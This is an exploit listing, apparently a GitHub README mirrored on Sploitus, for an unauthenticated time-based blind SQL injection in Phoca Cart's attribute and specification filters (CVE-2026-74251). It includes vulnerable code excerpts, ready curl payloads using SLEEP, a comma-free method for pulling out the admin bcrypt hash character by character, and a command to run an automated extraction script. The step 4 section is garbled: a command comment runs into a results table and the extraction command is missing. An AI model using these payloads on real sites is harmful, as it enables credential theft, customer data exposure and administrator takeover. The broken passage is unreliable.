Sploitus

Exploit for CVE-2026-74251

githubexploit Β· 2026-08-17

Exploit Code

README183 lines
## https://sploitus.com/exploit?id=FFED6F3F-8612-5429-8496-A121DC3A606E
# Unauthenticated SQL Injection via Attribute Filter in Phoca Cart

**Phoca Cart ≀ 6.1.6 β€” Unauthenticated Attacker Extracts Full Database via Time-Based Blind Injection**

![CVE](https://img.shields.io/badge/CVE-2026--74251-green)
![CVSS v4.0](https://img.shields.io/badge/CVSS_v4.0-9.3-critical)
![CWE-89](https://img.shields.io/badge/CWE--89-SQL_Injection-orange)
![Affected](https://img.shields.io/badge/Affected-1.0.0_–_6.1.6-red)
![Researcher](https://img.shields.io/badge/Researcher-Toan_Le-blue)

---

## SUMMARY

The `a[]` (attribute) and `s[]` (specification) GET array parameters on Phoca Cart's public shop items page are concatenated raw into SQL `WHERE` clauses without parameterization or escaping. An unauthenticated attacker can inject arbitrary SQL through these parameters, enabling full database extraction via time-based blind techniques.

The vulnerability exists in `getSqlPartsArray()` inside `admin/libraries/phocacart/search/search.php`. The function calls `explode(',', $v)` before building the `IN()` list but never escapes the resulting values β€” so a comma-free payload passes through intact into the SQL query. Because `getItemListQuery()` is called twice per request (`getTotal()` + `getItemList()`), a `SLEEP(N)` payload causes a `2Γ—N` second observable delay, making timing detection highly reliable.

---

## AFFECTED VERSIONS

| COMPONENT                  | VULNERABLE     | TESTED ON                                          | FIXED     |
| -------------------------- | -------------- | -------------------------------------------------- | --------- |
| Phoca Cart (com_phocacart) | 1.0.0 – 6.1.6 | Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache) | 6.1.7 |

---

## VULNERABILITY DETAILS

**Type:** SQL Injection β€” Time-Based Blind (CWE-89)
**Authentication required:** None β€” publicly accessible endpoint
**File:** `admin/libraries/phocacart/search/search.php`

### Root Cause

The items model reads the `a[]` and `s[]` parameters directly from the HTTP request without sanitization:

**SITE/MODELS/ITEMS.PHP β€” LINE 92–93**

```php
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET
```

These values are forwarded to `getSqlPartsArray()`, which splits each value on commas and inserts the resulting fragments directly into the SQL `IN()` clause:

**SEARCH.PHP β€” GETSQLPARTSARRAY() LINES 318–363 (VULNERABLE)**

```php
foreach ($value as $k => $v) {
    $a = explode(',', $v);        // splits on comma β€” but does NOT escape
    $a = array_unique($a);
    if ($k && $v) {
        if ($searchArea == 'a') {
            // ANY method β€” $a values are NOT escaped before implode:
            $inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
                . '\'' . implode('\',\'', $a) . '\''   // ← raw user input injected here
                . '))';

            // ALL method β€” $v2 injected raw into double-quoted context:
            foreach ($a as $v2) {
                $inAS[$iA] = 'at2.alias = ' . $db->quote($k)
                    . ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
                $iA++;
            }
        }
        else if ($searchArea == 's') {
            // specification filter β€” same pattern, same flaw:
            $inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
                . '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
        }
    }
}
```

The resulting SQL fragment is inserted into the main query:

```sql
a.id IN (
  SELECT at2.product_id FROM #__phocacart_attributes AS at2
  LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
  WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
  GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)
```

`getActiveFilterValues()` in `filter.php` applies `filterValue($item, 'alphanumeric')` to `a[]`/`s[]` values for the display layer. However, `getSqlPartsArray()` reads the same parameters fresh from `$app->getInput()->get('a', '', 'array')` with **no sanitization applied**, bypassing the display-layer protection entirely.

---

## PROOF OF CONCEPT

**No authentication required.** The items view (`/index.php?option=com_phocacart&view=items`) is publicly accessible. No attributes or specifications need to be configured on the shop.

#### 1. Baseline measurement β€” confirm normal response time

An unauthenticated user can access the shopping portal without any credentials.

![Unauthenticated access to Phoca Cart shop portal showing items listing](images/s1-step1-unauthenticated-shop-portal.png)

Raw request captured in Burp Suite β€” baseline response time: **76ms**.

![Burp Suite baseline GET request to shop page with 76ms response time](images/s1-step2-baseline-request-76ms.png)

#### 2. Confirm SQL injection via time delay β€” attribute filter (`a[]`)

A `SLEEP(3)` payload is injected via the `a[color]` parameter. Because `getItemListQuery()` is called twice per request, the expected delay is `2 Γ— 3 = 6s`. Observed: **7085ms** β€” confirmed.

```bash
# Time-based blind SQLi β€” SLEEP(3) fires twice β†’ ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"
# Result: 7.085s β€” CONFIRMED

# Specification filter (s[]) β€” same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"
```

![Burp Suite showing SQLi payload with 7085ms response time confirming double SLEEP(3)](images/s1-step3-sqli-sleep3-response-7085ms.png)

#### 3. Confirm with SLEEP(0) β€” fast response

Replacing `SLEEP(3)` with `SLEEP(0)` returns immediately (**1064ms**), confirming the delay is caused by the injected `SLEEP` and not network conditions.

![Burp Suite showing SLEEP(0) payload returning fast 1064ms response](images/s1-step4-sqli-sleep0-fast-response-1064ms.png)

#### 4. Character-by-character data extraction via timing oracle

Extract the admin bcrypt hash one byte at a time. **Critical constraint**: `explode(',', $v)` splits on commas before building SQL β€” payloads must use `SUBSTRING(str FROM pos FOR len)` (ANSI keyword syntax) to avoid comma truncation, and `CASE WHEN ... THEN ... ELSE ... END` instead of `IF()`.

```bash
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice β†’ 4s = match; 6s      | βœ“    |
| 2   | `2` | 50    | >6s      | βœ“    |
| 3   | `y` | 121   | >6s      | βœ“    |
| 4   | `$` | 36    | >6s      | βœ“    |
| 5   | `1` | 49    | >6s      | βœ“    |
| 6   | `0` | 48    | >6s      | βœ“    |
| 7   | `$` | 36    | >6s      | βœ“    |
| 8   | `L` | 76    | >6s      | βœ“    |
| 9   | `N` | 78    | >6s      | βœ“    |
| 10  | `v` | 118   | >6s      | βœ“    |
| 11  | `t` | 116   | >6s      | βœ“    |
| ... | ...   | ...   | >6s      | βœ“    |

Extracted prefix `$2y$10$LNvt...` β€” full 60-char bcrypt hash recoverable in ~240 requests.

#### 5. Automated extraction β€” full admin hash dump via exploit script

The included `exploit.py` script automatically extracts the complete admin password hash without manual iteration, using the same time-based technique above.

```bash
python exploit.py http://TARGET
```

![Exploit script output showing full admin bcrypt hash extracted without authentication](images/s1-step5-exploit-hash-extraction.png)

---

## IMPACT

1. **Full database read without authentication** β€” Joomla user credentials (bcrypt hashes + emails), order records, payment metadata, customer PII, and API keys stored in the database are fully accessible to any unauthenticated attacker.
2. **Administrator account takeover** β€” Extracting the admin password hash and cracking it offline gives full Joomla administrator access, enabling remote code execution via template or plugin upload.
3. **Zero prerequisites β€” affects every Phoca Cart installation** β€” The vulnerable endpoint is the public shop listing page. No attributes or specifications need to be configured. Any site with `com_phocacart` installed and a public front-end is exploitable.
4. **Database write potential** β€” If MariaDB PDO emulation enables stacked queries, the attacker can execute arbitrary `INSERT` / `UPDATE` / `DELETE` statements, including creating new administrator accounts or modifying order records.

---

## REFERENCES

- **CVE:** https://vulners.com/cve/CVE-2026-74251
- **NVD:** https://nvd.nist.gov/vuln/detail/CVE-2026-74251
- **Vendor Repository:** https://github.com/PhocaDesign/PhocaCart